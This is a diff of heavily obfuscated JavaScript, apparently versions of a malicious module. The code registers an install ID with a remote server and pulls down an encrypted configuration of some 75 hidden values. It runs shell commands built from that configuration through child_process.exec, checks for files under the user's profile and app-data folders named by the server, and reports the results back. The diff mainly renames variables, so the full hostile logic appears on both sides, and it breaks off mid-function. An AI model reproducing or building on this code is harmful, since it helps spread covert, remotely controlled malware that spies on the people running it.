- gc.t505FAN = hl;
+ gd.t505FAN = hm;
}
});
const g = b({
- 'obj/T3EADFE.js'(nn) {
+ 'obj/T3EADFE.js'(no) {
'use strict';
- Object.defineProperty(nn, "__esModule", {
+ Object.defineProperty(no, "__esModule", {
value: true
});
- nn.A672SIS = nn.U5E7DEV = nn.i61CFAL = undefined;
- const no = c();
- const np = e();
- const nq = d();
- var nr;
- (function (ny) {
- ny[ny.B639G7B = 0] = 'B639G7B';
- ny[ny.N6330WH = 1] = "N6330WH";
- ny[ny.q564DFB = 2] = 'q564DFB';
- ny[ny.q5A5TD7 = 3] = "q5A5TD7";
- ny[ny.h6074WA = 4] = "h6074WA";
- ny[ny.j4B56KB = 5] = "j4B56KB";
- ny[ny.F58C0X0 = 6] = "F58C0X0";
- ny[ny.i623ZUC = 7] = "i623ZUC";
- })(nr || (nr = {}));
- const ns = class {
+ no.A672SIS = no.U5E7DEV = no.i61CFAL = undefined;
+ const np = c();
+ const nq = e();
+ const nr = d();
+ var ns;
+ (function (nz) {
+ nz[nz.B639G7B = 0] = 'B639G7B';
+ nz[nz.N6330WH = 1] = "N6330WH";
+ nz[nz.q564DFB = 2] = 'q564DFB';
+ nz[nz.q5A5TD7 = 3] = "q5A5TD7";
+ nz[nz.h6074WA = 4] = "h6074WA";
+ nz[nz.j4B56KB = 5] = "j4B56KB";
+ nz[nz.F58C0X0 = 6] = "F58C0X0";
+ nz[nz.i623ZUC = 7] = "i623ZUC";
+ })(ns || (ns = {}));
+ const nt = class {
constructor() {
this.H5C67AR = false;
this.n412K1U = false;
@@ -1828,293 +1828,293 @@
this.O6CBOE4 = '';
}
};
- nn.i61CFAL = ns;
- const nt = class {
- constructor(nz, oa, ob, oc, od) {
+ no.i61CFAL = nt;
+ const nu = class {
+ constructor(oa, ob, oc, od, oe) {
this.m5BCP18 = false;
this.C5C7K1A = '';
this.K5F23B9 = '';
this.j5D4IOV = '';
this.O6CBOE4 = '';
- if (nz !== undefined) {
- this.m5BCP18 = nz;
- }
if (oa !== undefined) {
- this.C5C7K1A = oa;
+ this.m5BCP18 = oa;
}
if (ob !== undefined) {
- this.K5F23B9 = ob;
+ this.C5C7K1A = ob;
}
if (oc !== undefined) {
- this.j5D4IOV = oc;
+ this.K5F23B9 = oc;
}
if (od !== undefined) {
- this.O6CBOE4 = od;
+ this.j5D4IOV = od;
+ }
+ if (oe !== undefined) {
+ this.O6CBOE4 = oe;
}
}
};
- const nu = class {
- constructor(oe, of, og) {
+ const nv = class {
+ constructor(of, og, oh) {
this.m5BCP18 = false;
this.C5C7K1A = '';
this.p6845JK = '';
- if (oe !== undefined) {
- this.m5BCP18 = oe;
- }
if (of !== undefined) {
- this.C5C7K1A = of;
+ this.m5BCP18 = of;
}
if (og !== undefined) {
- this.p6845JK = og;
+ this.C5C7K1A = og;
+ }
+ if (oh !== undefined) {
+ this.p6845JK = oh;
}
}
};
- var nv;
- (function (oh) {
- oh[oh.K4E7SBI = 0] = "K4E7SBI";
- oh[oh.C5B7MFV = 1] = "C5B7MFV";
- oh[oh.u6BB118 = 2] = 'u6BB118';
- })(nv = nn.U5E7DEV || (nn.U5E7DEV = {}));
var nw;
(function (oi) {
- oi[oi.s46FO09 = 0] = 's46FO09';
- oi[oi.d56ECUF = 1] = "d56ECUF";
- oi[oi.z479UBI = 2] = "z479UBI";
- })(nw || (nw = {}));
- const nx = class {
- constructor(oj, ok, ol, om, on) {
+ oi[oi.K4E7SBI = 0] = "K4E7SBI";
+ oi[oi.C5B7MFV = 1] = "C5B7MFV";
+ oi[oi.u6BB118 = 2] = 'u6BB118';
+ })(nw = no.U5E7DEV || (no.U5E7DEV = {}));
+ var nx;
+ (function (oj) {
+ oj[oj.s46FO09 = 0] = 's46FO09';
+ oj[oj.d56ECUF = 1] = "d56ECUF";
+ oj[oj.z479UBI = 2] = "z479UBI";
+ })(nx || (nx = {}));
+ const ny = class {
+ constructor(ok, ol, om, on, oo) {
this.Z5A9DKG = false;
this.A64CEBI = '';
- this.X6066R5 = oj;
- this.r42EX1Q = ok;
- this.e5FBF4O = ol;
- this.t4E0LPU = om;
- this.q48AQYC = on;
+ this.X6066R5 = ok;
+ this.r42EX1Q = ol;
+ this.e5FBF4O = om;
+ this.t4E0LPU = on;
+ this.q48AQYC = oo;
}
async q41FDEK() {
- await np.w3F3UWA.W4EF0EI(0, np.z579NEI.p5FDZHQ);
- async function oo() {
- return !(((await no.S559FZQ.l610ZCY("size")) ?? '') == '');
- }
- if (await oo()) {
- const or = (await no.S559FZQ.l610ZCY("iid")) ?? '';
- nq.e5325L3.q474LOF = or;
- await np.w3F3UWA.W4EF0EI(0, or != '' ? np.z579NEI.W592FFM : np.z579NEI.q637JNS);
+ await nq.w3F3UWA.W4EF0EI(0, [159, '']);
+ async function op() {
+ return !(((await np.S559FZQ.l610ZCY("size")) ?? '') == '');
+ }
+ if (await op()) {
+ const ot = (await np.S559FZQ.l610ZCY("iid")) ?? '';
+ nr.e5325L3.q474LOF = ot;
+ await nq.w3F3UWA.W4EF0EI(0, ot != '' ? [160, ''] : [161, '']);
return 0;
}
- const op = this.X6066R5() ?? '';
- if ('' == op) {
+ const oq = this.X6066R5() ?? '';
+ if ('' == oq) {
try {
- await no.S559FZQ.c5E4Z7C("size", "67");
+ await np.S559FZQ.c5E4Z7C("size", "67");
} catch {}
- await np.w3F3UWA.Y6CDW21(0, np.z579NEI.h44FFEQ, undefined, ['', op]);
+ await nq.w3F3UWA.Y6CDW21(0, [154, ''], undefined, ['', oq]);
return 2;
}
let str8 = '';
try {
try {
- await no.S559FZQ.c5E4Z7C("size", "67");
+ await np.S559FZQ.c5E4Z7C("size", "67");
} catch {}
- var oq = await np.e696T3N("api/s3/new?fid=ip&version=" + nq.e5325L3.Y55B2P2);
- if (oq) {
- str8 = await oq.json().iid;
+ var or = await nq.e696T3N("api/s3/new?fid=ip&version=" + nr.e5325L3.Y55B2P2);
+ if (or) {
+ str8 = await or.json().iid;
if (str8 != '') {
- nq.e5325L3.q474LOF = str8;
+ nr.e5325L3.q474LOF = str8;
}
}
if (str8 != '') {
- const ot = function (ou) {
+ const ou = function (ov) {
let str9 = '';
- for (let ov = 0; ov < ou.length; ov++) {
- str9 += ou.charCodeAt(ov).toString(16).padStart(2, '0');
+ for (let ow = 0; ow < ov.length; ow++) {
+ str9 += ov.charCodeAt(ow).toString(16).padStart(2, '0');
}
return str9;
};
- await no.S559FZQ.c5E4Z7C("iid", str8);
- await no.S559FZQ.c5E4Z7C("usid", ot(op));
- await np.w3F3UWA.W4EF0EI(0, np.z579NEI.E40CNM5, ['', op]);
+ await np.S559FZQ.c5E4Z7C("iid", str8);
+ await np.S559FZQ.c5E4Z7C("usid", ou(oq));
+ await nq.w3F3UWA.W4EF0EI(0, [103, ''], ['', oq]);
return 1;
} else {
- await no.S559FZQ.c5E4Z7C("iid", '');
- await np.w3F3UWA.Y6CDW21(0, np.z579NEI.h44FFEQ, undefined, ['', op]);
+ await np.S559FZQ.c5E4Z7C("iid", '');
+ await nq.w3F3UWA.Y6CDW21(0, [154, ''], undefined, ['', oq]);
}
- } catch (ow) {
- await np.w3F3UWA.Y6CDW21(0, np.z579NEI.h44FFEQ, ow, ['', op]);
+ } catch (ox) {
+ await nq.w3F3UWA.Y6CDW21(0, [154, ''], ox, ['', oq]);
}
return 2;
}
async A4B0MTO() {
try {
if (await this.m6ABVY9()) {
- await f().t505FAN(nq.e5325L3.q474LOF, this.q48AQYC);
+ await f().t505FAN(nr.e5325L3.q474LOF, this.q48AQYC);
}
} catch {}
}
- async m58FJB5(ox) {
+ async m58FJB5(oy) {
try {
- nq.e5325L3.x484Q1X = ox;
- if (nq.e5325L3.x484Q1X == no.a689XV5.B639G7B) {
+ nr.e5325L3.x484Q1X = oy;
+ if (nr.e5325L3.x484Q1X == np.a689XV5.B639G7B) {
return;
}
- await np.F490EUX();
- await no.S559FZQ.J6021ZT();
+ await nq.F490EUX();
+ await np.S559FZQ.J6021ZT();
if (!(await this.m6ABVY9())) {
return;
}
await this.U6B4YNR();
await this.Z425M7G();
- var oy = await this.e4F5CS0();
- if (await this.H5AE3US(oy.O6CBOE4)) {
- const data = JSON.parse(oy.O6CBOE4);
+ var oz = await this.e4F5CS0();
+ if (await this.H5AE3US(oz.O6CBOE4)) {
+ const data = JSON.parse(oz.O6CBOE4);
const arr10 = [];
- for (const oz in data) {
- if (data.hasOwnProperty(oz)) {
- const pa = data[oz];
- for (const pb in pa) {
- if (pa.hasOwnProperty(pb)) {
- await this.O69AL84(oz, pb, pa[pb]);
- arr10.push(pb);
+ for (const pa in data) {
+ if (data.hasOwnProperty(pa)) {
+ const pb = data[pa];
+ for (const pc in pb) {
+ if (pb.hasOwnProperty(pc)) {
+ await this.O69AL84(pa, pc, pb[pc]);
+ arr10.push(pc);
}
}
}
}
if (arr10.length > 0) {
- await np.w3F3UWA.W4EF0EI(0, np.z579NEI.c5C958F, arr10);
+ await nq.w3F3UWA.W4EF0EI(0, [107, ''], arr10);
}
}
- if (oy.H5C67AR) {
- if (oy.a6AFL0X) {
- await this.p4FE5X4(nq.e5325L3.H64FNMG);
- } else if (oy.n412K1U) {
- await this.j458FW3(nq.e5325L3.H64FNMG);
+ if (oz.H5C67AR) {
+ if (oz.a6AFL0X) {
+ await this.p4FE5X4(nr.e5325L3.H64FNMG);
+ } else if (oz.n412K1U) {
+ await this.j458FW3(nr.e5325L3.H64FNMG);
}
- if (oy.D4E3EHU) {
- await this.k47F3QK(nq.e5325L3.M56F8MB);
+ if (oz.D4E3EHU) {
+ await this.k47F3QK(nr.e5325L3.M56F8MB);
}
- if (oy.E67CJ69 && nq.e5325L3.R6780KK) {
- await this.c647ECB(oy.a586DQ2);
+ if (oz.E67CJ69 && nr.e5325L3.R6780KK) {
+ await this.c647ECB(oz.a586DQ2);
}
- if (oy.X42CN81 && nq.e5325L3.g4184BO) {
- await this.w5C1TZN(oy.Y4B23HN);
+ if (oz.X42CN81 && nr.e5325L3.g4184BO) {
+ await this.w5C1TZN(oz.Y4B23HN);
}
- if (oy.T5B2T2A && nq.e5325L3.x4ADWAE) {
- await this.h659UF4(oy.V54518G);
+ if (oz.T5B2T2A && nr.e5325L3.x4ADWAE) {
+ await this.h659UF4(oz.V54518G);
}
- if (oy.T5F71B2 && nq.e5325L3.z4DE429) {
- await this.W5F8HOG(oy.g5ABMVH);
+ if (oz.T5F71B2 && nr.e5325L3.z4DE429) {
+ await this.W5F8HOG(oz.g5ABMVH);
}
}
- await np.w3F3UWA.W4EF0EI(0, np.z579NEI.f63DUQF, [nq.e5325L3.k596N0J, nq.e5325L3.n664BX9, nq.e5325L3.R6780KK, nq.e5325L3.g4184BO, nq.e5325L3.x4ADWAE, nq.e5325L3.r53FV0M, oy.H5C67AR, oy.n412K1U, oy.n5B332O, oy.k61AQMQ, oy.a6AFL0X, oy.D4E3EHU, nq.e5325L3.z4DE429]);
- return oy;
- } catch (pc) {
- await np.w3F3UWA.Y6CDW21(0, np.z579NEI.m41EBJQ, pc);
+ await nq.w3F3UWA.W4EF0EI(0, [102, ''], [nr.e5325L3.k596N0J, nr.e5325L3.n664BX9, nr.e5325L3.R6780KK, nr.e5325L3.g4184BO, nr.e5325L3.x4ADWAE, nr.e5325L3.r53FV0M, oz.H5C67AR, oz.n412K1U, oz.n5B332O, oz.k61AQMQ, oz.a6AFL0X, oz.D4E3EHU, nr.e5325L3.z4DE429]);
+ return oz;
+ } catch (pd) {
+ await nq.w3F3UWA.Y6CDW21(0, [101, ''], pd);
return;
}
}
async m6ABVY9() {
- nq.e5325L3.q474LOF = (await no.S559FZQ.l610ZCY("iid")) ?? '';
- if (!nq.e5325L3.q474LOF || nq.e5325L3.q474LOF == '') {
+ nr.e5325L3.q474LOF = (await np.S559FZQ.l610ZCY("iid")) ?? '';
+ if (!nr.e5325L3.q474LOF || nr.e5325L3.q474LOF == '') {
return false;
}
return true;
}
async U6B4YNR() {
- const pd = nq.e5325L3.q474LOF ?? '';
- const params2 = new require("url").URLSearchParams();
- const pe = no.S559FZQ.n677BRA.substring(0, 24) + pd.substring(0, 8);
- const pf = np.O694X7J(pe, JSON.stringify({
- iid: pd,
- version: nq.e5325L3.Y55B2P2,
+ const pe = nr.e5325L3.q474LOF ?? '';
+ const pf = new require("url").URLSearchParams();
+ const pg = np.S559FZQ.n677BRA.substring(0, 24) + pe.substring(0, 8);
+ const ph = nq.O694X7J(pg, JSON.stringify({
+ iid: pe,
+ version: nr.e5325L3.Y55B2P2,
isSchedule: '0'
}));
- params2.append("data", pf.data);
- params2.append("iv", pf.iv);
- params2.append("iid", nq.e5325L3.q474LOF ?? '');
- const pg = await np.h5235DD("api/s3/options", params2);
- if (pg && pg.ok) {
- const ph = await pg.json();
- if (ph.data) {
- const pi = function (pk, pl) {
- return '' + pk + pl.toString().padStart(2, '0');
+ pf.append("data", ph.data);
+ pf.append("iv", ph.iv);
+ pf.append("iid", nr.e5325L3.q474LOF ?? '');
+ const pi = await nq.h5235DD("api/s3/options", pf);
+ if (pi && pi.ok) {
+ const pj = await pi.json();
+ if (pj.data) {
+ const pk = function (pm, pn) {
+ return '' + pm + pn.toString().padStart(2, '0');
};
- const data2 = JSON.parse(np.U61FWBZ(pe, ph.data, ph.iv));
- let pj = 1;
- nq.E506IW4.f538M6A = data2[pi('A', pj++)];
- nq.E506IW4.y50355J = data2[pi('A', pj++)];
- nq.E506IW4.q531YE2 = data2[pi('A', pj++)];
- nq.E506IW4.V573T48 = data2[pi('A', pj++)];
- nq.E506IW4.Z643HV5 = data2[pi('A', pj++)];
- nq.E506IW4.M4F7RZT = data2[pi('A', pj++)];
- nq.E506IW4.U548GP6 = data2[pi('A', pj++)];
- nq.E506IW4.q3F6NE0 = data2[pi('A', pj++)];
- nq.E506IW4.G5A3TG6 = data2[pi('A', pj++)];
- nq.E506IW4.v50CKDQ = data2[pi('A', pj++)];
- nq.E506IW4.v4A5HA6 = data2[pi('A', pj++)];
- nq.E506IW4.U40AV23 = data2[pi('A', pj++)];
- nq.E506IW4.z626Z6P = data2[pi('A', pj++)];
- nq.E506IW4.F431S76 = data2[pi('A', pj++)];
- nq.E506IW4.E42DSOG = data2[pi('A', pj++)];
- nq.E506IW4.o5D81YO = data2[pi('A', pj++)];
- nq.E506IW4.Y4F9KA9 = data2[pi('A', pj++)];
- nq.E506IW4.G555SVW = data2[pi('A', pj++)];
- nq.E506IW4.e4BDF2X = data2[pi('A', pj++)];
- nq.E506IW4.Q63EEZI = data2[pi('A', pj++)];
- nq.E506IW4.L4865QA = data2[pi('A', pj++)];
- nq.E506IW4.D472X8L = data2[pi('A', pj++)];
- nq.E506IW4.h676I09 = data2[pi('A', pj++)];
- nq.E506IW4.v4BE899 = data2[pi('A', pj++)];
- nq.E506IW4.E5D2YTN = data2[pi('A', pj++)];
- nq.E506IW4.n5F14C8 = data2[pi('A', pj++)];
- nq.E506IW4.M4AFW8T = data2[pi('A', pj++)];
- nq.E506IW4.s64A8ZU = data2[pi('A', pj++)];
- nq.E506IW4.O680HF3 = data2[pi('A', pj++)];
- nq.E506IW4.n6632PG = data2[pi('A', pj++)];
- nq.E506IW4.a423OLP = data2[pi('A', pj++)];
- nq.E506IW4.e4C2ZG5 = data2[pi('A', pj++)];
- nq.E506IW4.s5A8UWK = data2[pi('A', pj++)];
- nq.E506IW4.e44E7UV = data2[pi('A', pj++)];
- nq.E506IW4.w668BQY = data2[pi('A', pj++)];
- nq.E506IW4.q4D91PM = data2[pi('A', pj++)];
- nq.E506IW4.r6BA6EQ = data2[pi('A', pj++)];
- nq.E506IW4.g65BAO8 = data2[pi('A', pj++)];
- nq.E506IW4.P5D7IHK = data2[pi('A', pj++)];
- nq.E506IW4.g6AEHR8 = data2[pi('A', pj++)];
- nq.E506IW4.W46DKVE = data2[pi('A', pj++)];
- nq.E506IW4.C587HZY = data2[pi('A', pj++)];
- nq.E506IW4.L4F4D5K = data2[pi('A', pj++)];
- nq.E506IW4.d5A04IA = data2[pi('A', pj++)];
- nq.E506IW4.X69CKV1 = data2[pi('A', pj++)];
- nq.E506IW4.Q68703N = data2[pi('A', pj++)];
- nq.E506IW4.k5FECH9 = data2[pi('A', pj++)];
- nq.E506IW4.Q6AD4K1 = data2[pi('A', pj++)];
- nq.E506IW4.c4954SH = data2[pi('A', pj++)];
- nq.E506IW4.n601ESN = data2[pi('A', pj++)];
- nq.E506IW4.c41AH48 = data2[pi('A', pj++)];
- nq.E506IW4.c507RUL = data2[pi('A', pj++)];
- nq.E506IW4.B5176TW = data2[pi('A', pj++)];
- nq.E506IW4.f44CYDD = data2[pi('A', pj++)];
- nq.E506IW4.D582MML = data2[pi('A', pj++)];
- nq.E506IW4.A6C6QFI = data2[pi('A', pj++)];
- nq.E506IW4.E509RHP = data2[pi('A', pj++)];
- nq.E506IW4.p49ALL3 = data2[pi('A', pj++)];
- nq.E506IW4.H4A2CBA = data2[pi('A', pj++)];
- nq.E506IW4.Y420K0O = data2[pi('A', pj++)];
- nq.E506IW4.V615O8R = data2[pi('A', pj++)];
- nq.E506IW4.g477SEM = data2[pi('A', pj++)];
- nq.E506IW4.T525XE5 = data2[pi('A', pj++)];
- nq.E506IW4.V68C0TQ = data2[pi('A', pj++)];
- nq.E506IW4.P41D36M = data2[pi('A', pj++)];
- nq.E506IW4.I4E1ZJ4 = data2[pi('A', pj++)];
- nq.E506IW4.r62EVVQ = data2[pi('A', pj++)];
- nq.E506IW4.I4046MY = data2[pi('A', pj++)];
- nq.E506IW4.i61EV2V = data2[pi('A', pj++)];
- nq.E506IW4.l6C9B2Z = data2[pi('A', pj++)];
- nq.E506IW4.z3EF88U = data2[pi('A', pj++)];
- nq.E506IW4.C61B0CZ = data2[pi('A', pj++)];
- nq.E506IW4.i623ZUC = data2[pi('A', pj++)];
- nq.E506IW4.F6750PF = data2[pi('A', pj++)];
- nq.E506IW4.w443M14 = data2[pi('A', pj++)];
- if (!nq.E506IW4.d6C8UEH()) {
+ const data2 = JSON.parse(nq.U61FWBZ(pg, pj.data, pj.iv));
+ let pl = 1;
+ nr.E506IW4.f538M6A = data2[pk('A', pl++)];
+ nr.E506IW4.y50355J = data2[pk('A', pl++)];
+ nr.E506IW4.q531YE2 = data2[pk('A', pl++)];
+ nr.E506IW4.V573T48 = data2[pk('A', pl++)];
+ nr.E506IW4.Z643HV5 = data2[pk('A', pl++)];
+ nr.E506IW4.M4F7RZT = data2[pk('A', pl++)];
+ nr.E506IW4.U548GP6 = data2[pk('A', pl++)];
+ nr.E506IW4.q3F6NE0 = data2[pk('A', pl++)];
+ nr.E506IW4.G5A3TG6 = data2[pk('A', pl++)];
+ nr.E506IW4.v50CKDQ = data2[pk('A', pl++)];
+ nr.E506IW4.v4A5HA6 = data2[pk('A', pl++)];
+ nr.E506IW4.U40AV23 = data2[pk('A', pl++)];
+ nr.E506IW4.z626Z6P = data2[pk('A', pl++)];
+ nr.E506IW4.F431S76 = data2[pk('A', pl++)];
+ nr.E506IW4.E42DSOG = data2[pk('A', pl++)];
+ nr.E506IW4.o5D81YO = data2[pk('A', pl++)];
+ nr.E506IW4.Y4F9KA9 = data2[pk('A', pl++)];
+ nr.E506IW4.G555SVW = data2[pk('A', pl++)];
+ nr.E506IW4.e4BDF2X = data2[pk('A', pl++)];
+ nr.E506IW4.Q63EEZI = data2[pk('A', pl++)];
+ nr.E506IW4.L4865QA = data2[pk('A', pl++)];
+ nr.E506IW4.D472X8L = data2[pk('A', pl++)];
+ nr.E506IW4.h676I09 = data2[pk('A', pl++)];
+ nr.E506IW4.v4BE899 = data2[pk('A', pl++)];
+ nr.E506IW4.E5D2YTN = data2[pk('A', pl++)];
+ nr.E506IW4.n5F14C8 = data2[pk('A', pl++)];
+ nr.E506IW4.M4AFW8T = data2[pk('A', pl++)];
+ nr.E506IW4.s64A8ZU = data2[pk('A', pl++)];
+ nr.E506IW4.O680HF3 = data2[pk('A', pl++)];
+ nr.E506IW4.n6632PG = data2[pk('A', pl++)];
+ nr.E506IW4.a423OLP = data2[pk('A', pl++)];
+ nr.E506IW4.e4C2ZG5 = data2[pk('A', pl++)];
+ nr.E506IW4.s5A8UWK = data2[pk('A', pl++)];
+ nr.E506IW4.e44E7UV = data2[pk('A', pl++)];
+ nr.E506IW4.w668BQY = data2[pk('A', pl++)];
+ nr.E506IW4.q4D91PM = data2[pk('A', pl++)];
+ nr.E506IW4.r6BA6EQ = data2[pk('A', pl++)];
+ nr.E506IW4.g65BAO8 = data2[pk('A', pl++)];
+ nr.E506IW4.P5D7IHK = data2[pk('A', pl++)];
+ nr.E506IW4.g6AEHR8 = data2[pk('A', pl++)];
+ nr.E506IW4.W46DKVE = data2[pk('A', pl++)];
+ nr.E506IW4.C587HZY = data2[pk('A', pl++)];
+ nr.E506IW4.L4F4D5K = data2[pk('A', pl++)];
+ nr.E506IW4.d5A04IA = data2[pk('A', pl++)];
+ nr.E506IW4.X69CKV1 = data2[pk('A', pl++)];
+ nr.E506IW4.Q68703N = data2[pk('A', pl++)];
+ nr.E506IW4.k5FECH9 = data2[pk('A', pl++)];
+ nr.E506IW4.Q6AD4K1 = data2[pk('A', pl++)];
+ nr.E506IW4.c4954SH = data2[pk('A', pl++)];
+ nr.E506IW4.n601ESN = data2[pk('A', pl++)];
+ nr.E506IW4.c41AH48 = data2[pk('A', pl++)];
+ nr.E506IW4.c507RUL = data2[pk('A', pl++)];
+ nr.E506IW4.B5176TW = data2[pk('A', pl++)];
+ nr.E506IW4.f44CYDD = data2[pk('A', pl++)];
+ nr.E506IW4.D582MML = data2[pk('A', pl++)];
+ nr.E506IW4.A6C6QFI = data2[pk('A', pl++)];
+ nr.E506IW4.E509RHP = data2[pk('A', pl++)];
+ nr.E506IW4.p49ALL3 = data2[pk('A', pl++)];
+ nr.E506IW4.H4A2CBA = data2[pk('A', pl++)];
+ nr.E506IW4.Y420K0O = data2[pk('A', pl++)];
+ nr.E506IW4.V615O8R = data2[pk('A', pl++)];
+ nr.E506IW4.g477SEM = data2[pk('A', pl++)];
+ nr.E506IW4.T525XE5 = data2[pk('A', pl++)];
+ nr.E506IW4.V68C0TQ = data2[pk('A', pl++)];
+ nr.E506IW4.P41D36M = data2[pk('A', pl++)];
+ nr.E506IW4.I4E1ZJ4 = data2[pk('A', pl++)];
+ nr.E506IW4.r62EVVQ = data2[pk('A', pl++)];
+ nr.E506IW4.I4046MY = data2[pk('A', pl++)];
+ nr.E506IW4.i61EV2V = data2[pk('A', pl++)];
+ nr.E506IW4.l6C9B2Z = data2[pk('A', pl++)];
+ nr.E506IW4.z3EF88U = data2[pk('A', pl++)];
+ nr.E506IW4.C61B0CZ = data2[pk('A', pl++)];
+ nr.E506IW4.i623ZUC = data2[pk('A', pl++)];
+ nr.E506IW4.F6750PF = data2[pk('A', pl++)];
+ nr.E506IW4.w443M14 = data2[pk('A', pl++)];
+ if (!nr.E506IW4.d6C8UEH()) {
throw new Error("GetRtcFailed");
}
} else {
@@ -2125,527 +2125,527 @@
}
}
async Z425M7G() {
- this.A64CEBI = np.S634YX3((await no.S559FZQ.l610ZCY("usid")) ?? '');
- if (((await no.S559FZQ.l610ZCY("c-key")) ?? '') != nq.e5325L3.q474LOF) {
+ this.A64CEBI = nq.S634YX3((await np.S559FZQ.l610ZCY("usid")) ?? '');
+ if (((await np.S559FZQ.l610ZCY("c-key")) ?? '') != nr.e5325L3.q474LOF) {
this.Z5A9DKG = true;
}
- nq.e5325L3.U430LYO = await this.D656W9S(2);
- nq.e5325L3.r53FV0M = nq.e5325L3.U430LYO != '';
- nq.e5325L3.a6B1QAU = await this.D656W9S(1);
- nq.e5325L3.k596N0J = nq.e5325L3.a6B1QAU != '';
+ nr.e5325L3.U430LYO = await this.D656W9S(2);
+ nr.e5325L3.r53FV0M = nr.e5325L3.U430LYO != '';
+ nr.e5325L3.a6B1QAU = await this.D656W9S(1);
+ nr.e5325L3.k596N0J = nr.e5325L3.a6B1QAU != '';
if ((await this.D656W9S(3)) != '') {
- nq.e5325L3.g4184BO = true;
+ nr.e5325L3.g4184BO = true;
}
if ((await this.D656W9S(4)) != '') {
- nq.e5325L3.R6780KK = true;
+ nr.e5325L3.R6780KK = true;
}
if ((await this.D656W9S(5)) != '') {
- nq.e5325L3.n664BX9 = true;
+ nr.e5325L3.n664BX9 = true;
}
if ((await this.D656W9S(6)) != '') {
- nq.e5325L3.x4ADWAE = true;
+ nr.e5325L3.x4ADWAE = true;
}
if ((await this.D656W9S(7)) != '') {
- nq.e5325L3.z4DE429 = true;
- }
- nq.e5325L3.H64FNMG = await this.o43FWNP(false, 1);
- nq.e5325L3.M56F8MB = await this.o43FWNP(false, 2);
- nq.e5325L3.X4B7201 = false;
- if (nq.E506IW4.Y420K0O && Array.isArray(nq.E506IW4.Y420K0O)) {
- for (let pm = 0; pm < nq.E506IW4.Y420K0O.length; pm++) {
- if (await this.A5FCGS4(nq.E506IW4.Y420K0O[pm])) {
- nq.e5325L3.b57CS7T = pm;
+ nr.e5325L3.z4DE429 = true;
+ }
+ nr.e5325L3.H64FNMG = await this.o43FWNP(false, 1);
+ nr.e5325L3.M56F8MB = await this.o43FWNP(false, 2);
+ nr.e5325L3.X4B7201 = false;
+ if (nr.E506IW4.Y420K0O && Array.isArray(nr.E506IW4.Y420K0O)) {
+ for (let po = 0; po < nr.E506IW4.Y420K0O.length; po++) {
+ if (await this.A5FCGS4(nr.E506IW4.Y420K0O[po])) {
+ nr.e5325L3.b57CS7T = po;
break;
}
}
}
- if (nq.E506IW4.V615O8R && Array.isArray(nq.E506IW4.V615O8R)) {
- for (let pn = 0; pn < nq.E506IW4.V615O8R.length; pn++) {
- const po = nq.E506IW4.V615O8R[pn];
- if (await this.u459C3E(po.Item1, po.Item2)) {
- nq.e5325L3.K48B40X = pn;
+ if (nr.E506IW4.V615O8R && Array.isArray(nr.E506IW4.V615O8R)) {
+ for (let pp = 0; pp < nr.E506IW4.V615O8R.length; pp++) {
+ const pq = nr.E506IW4.V615O8R[pp];
+ if (await this.u459C3E(pq.Item1, pq.Item2)) {
+ nr.e5325L3.K48B40X = pp;
break;
}
}
}
}
- async o43FWNP(pp, pq) {
- return new Promise((pr) => {
- var ps = nq.E506IW4.F431S76;
- switch (pq) {
+ async o43FWNP(pr, ps) {
+ return new Promise((pt) => {
+ var pu = nr.E506IW4.F431S76;
+ switch (ps) {
case 1:
- ps = nq.E506IW4.F431S76;
+ pu = nr.E506IW4.F431S76;
break;
case 2:
- ps = nq.E506IW4.e4BDF2X;
+ pu = nr.E506IW4.e4BDF2X;
break;
}
- require("child_process").exec(np.o5B4F49(nq.E506IW4.e4C2ZG5, ps, ''), (pt, pu, pv) => {
- if (pt) {
+ require("child_process").exec(nq.o5B4F49(nr.E506IW4.e4C2ZG5, pu, ''), (pv, pw, px) => {
+ if (pv) {
(async () => {
- await np.w3F3UWA.Y6CDW21(pq, np.z579NEI.O5CE32V, pt);
+ await nq.w3F3UWA.Y6CDW21(ps, [132, ''], pv);
})();
- pr(false);
+ pt(false);
}
- if (pv) {
+ if (px) {
(async () => {
- await np.w3F3UWA.Y6CDW21(pq, np.z579NEI.C4D4SOG, pt);
+ await nq.w3F3UWA.Y6CDW21(ps, [146, ''], pv);
})();
- pr(false);
+ pt(false);
}
- pr(pu.trim() !== '');
+ pt(pw.trim() !== '');
});
});
}
async l660ZQF() {
- const pw = await no.S559FZQ.l610ZCY("iid");
- if (pw) {
- nq.e5325L3.q474LOF = pw;
+ const py = await np.S559FZQ.l610ZCY("iid");
+ if (py) {
+ nr.e5325L3.q474LOF = py;
try {
- var px = await np.e696T3N("api/s3/remove?iid=" + pw);
- if (px) {
- const py = await px.json();
+ var pz = await nq.e696T3N("api/s3/remove?iid=" + py);
+ if (pz) {
+ const qa = await pz.json();
}
- await np.w3F3UWA.W4EF0EI(1, np.z579NEI.z450T6K);
- } catch (pz) {
- await np.w3F3UWA.Y6CDW21(0, np.z579NEI.z450T6K, pz);
+ await nq.w3F3UWA.W4EF0EI(1, [104, '']);
+ } catch (qb) {
+ await nq.w3F3UWA.Y6CDW21(0, [104, ''], qb);
}
}
}
- async D656W9S(qa) {
+ async D656W9S(qc) {
const path5 = require("path");
let str10 = '';
- if (qa == 1) {
- str10 = path5.join(no.S559FZQ.D47CBV3(), nq.E506IW4.E42DSOG);
+ if (qc == 1) {
+ str10 = path5.join(np.S559FZQ.D47CBV3(), nr.E506IW4.E42DSOG);
if (await this.A5FCGS4(str10)) {
return str10;
}
- str10 = nq.E506IW4.o5D81YO;
+ str10 = nr.E506IW4.o5D81YO;
if (await this.A5FCGS4(str10)) {
return str10;
}
- str10 = nq.E506IW4.Y4F9KA9;
+ str10 = nr.E506IW4.Y4F9KA9;
if (await this.A5FCGS4(str10)) {
return str10;
}
- } else if (qa == 2) {
- str10 = nq.E506IW4.Q63EEZI;
+ } else if (qc == 2) {
+ str10 = nr.E506IW4.Q63EEZI;
if (await this.A5FCGS4(str10)) {
return str10;
}
- str10 = nq.E506IW4.L4865QA;
+ str10 = nr.E506IW4.L4865QA;
if (await this.A5FCGS4(str10)) {
return str10;
}
- } else if (qa == 3) {
- str10 = path5.join(require("process").env.USERPROFILE, nq.E506IW4.v4BE899);
+ } else if (qc == 3) {
+ str10 = path5.join(require("process").env.USERPROFILE, nr.E506IW4.v4BE899);
if (await this.A5FCGS4(str10)) {
return str10;
}
- } else if (qa == 4) {
- str10 = path5.join(no.S559FZQ.D47CBV3(), nq.E506IW4.O680HF3);
+ } else if (qc == 4) {
+ str10 = path5.join(np.S559FZQ.D47CBV3(), nr.E506IW4.O680HF3);
if (await this.A5FCGS4(str10)) {
return str10;
}
- } else if (qa == 5) {
